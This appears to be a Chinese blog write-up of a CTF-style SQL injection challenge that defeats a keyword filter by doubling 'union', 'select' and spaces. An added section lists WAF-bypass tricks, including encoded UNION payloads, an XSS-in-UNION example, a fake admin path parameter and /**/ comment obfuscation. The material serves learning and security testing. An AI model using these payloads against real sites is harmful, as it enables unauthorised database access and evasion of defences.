SQL手工类(过滤)

1.手工!!!发现union select 被过滤

之后通过输入查表字段

发现union select 被过滤了,这是想到用两个union表示

重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格

1.查询当前数据库

1'  unionunion  selectselect  database()'

2.查询数据库中的表

1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1

3.查询字段名

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.coluinformation_schema.columnsmns  wherewhere  table_name='flag

4.最后构造出1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1
### 手工SQL注入绕过安全措施的常用技巧 #### 使用特殊字符和编码混淆WAF检测 某些Web应用防火墙(WAF)可能无法正确解析特定模式下的输入,从而允许恶意查询通过。例如,在MySQL环境中,`%20union%20a11%23%0a%20select%201,2,3%23`这样的URL编码可以用来规避基本的过滤机制[^1]。 ```sql http://example.com/vuln.php?id=1 UNION ALL SELECT NULL,NULL,'<script>alert(1)</script>' -- ``` 此代码片段展示了如何利用UNION操作符来附加额外的选择语句,并且使用注释符号(`--`)结束原始查询以确保后续部分不会引起语法错误。 #### 利用路径中的关键词触发白名单规则 当目标站点配置有基于URL路径的安全策略时,攻击者可以通过构造特殊的请求地址使这些防护失效。比如向URI中加入像`/admin/`, `/manage/`之的子串可能会让WAF认为这是合法访问而放行[^2]: ```plaintext http://targetsite/path/to/script?param=value&fakepath=admin/ ``` 上述链接里的`fakepath=admin/`参数并没有实际作用于应用程序逻辑处理过程之中;相反地,它是为了迎合WAF内部预设条件所设计出来的欺骗手段之一。 #### 替代关键字实现相同功能 为了避免被简单的字符串匹配型防御工具拦截,还可以尝试替换标准SQL命令的关键字形式。例如将`SELECT`变为`SeLeCt`或采用其他大小写组合方式书写,甚至借助数据库特有的函数特性达到目的。 ```sql http://vulnerable-site/search?q=test'/**/or/**/'1'%3d'1 ``` 这里采用了多层嵌套注释的方式(即`/**/`),使得一些较为基础版本的WAF难以有效识别并阻止该型的注入行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值